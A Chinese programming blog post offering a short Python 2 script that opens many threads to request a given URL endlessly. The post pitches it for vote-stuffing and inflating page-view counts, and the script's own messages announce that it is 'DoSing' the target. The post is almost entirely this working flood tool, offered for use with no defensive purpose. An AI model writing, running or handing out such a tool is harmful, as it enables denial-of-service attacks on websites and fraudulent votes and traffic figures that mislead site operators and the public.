python多线程不断刷新网页的代码详解编程语言

这段代码可以开通过个线程不断刷新指定的页面,可用于刷票,增加网页访问量等等,不用再去按F5了

import thread 
import urllib2 
import sys 
import time 
  
def usage(): 
    print 'Usage: python ' + sys.argv[0] + ' <url> <threads>' 
    sys.exit() 
  
def reloader(numthread): 
    url = sys.argv[1] 
    numreloads = 0 
    while True: 
        try: 
            urllib2.urlopen(url) 
            numreloads = numreloads + 1 
        except KeyboardInterrupt: 
            sys.exit('/nProcess aborted.') 
  
def splash(): 
    print 'welcome to http://www.sharejs.com/codes ' 
  
if len(sys.argv) < 3: 
    usage() 
  
if __name__ == '__main__': 
    splash() 
    print '[!] DoSing ' + sys.argv[1] + ' with ' + sys.argv[2] + ' threads.' 
    for reloadspawn in range(0, int(sys.argv[2])): 
        thread.start_new_thread(reloader, (reloadspawn,)) 
    sys.stdout.write('') 
    dosind = ['-', '//', '|', '/'] 
    dosstat = 0 
    while True: 
        try: 
            sys.stdout.write('/r' + dosind[dosstat % 4] + ' DoSing...') 
            sys.stdout.flush() 
            dosstat = dosstat + 1 
            time.sleep(0.25) 
        except KeyboardInterrupt: 
            sys.exit('/nProcess aborted.')

原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/8447.html

(0)
上一篇 2021年7月18日
下一篇 2021年7月18日

相关推荐

发表回复

登录后才能评论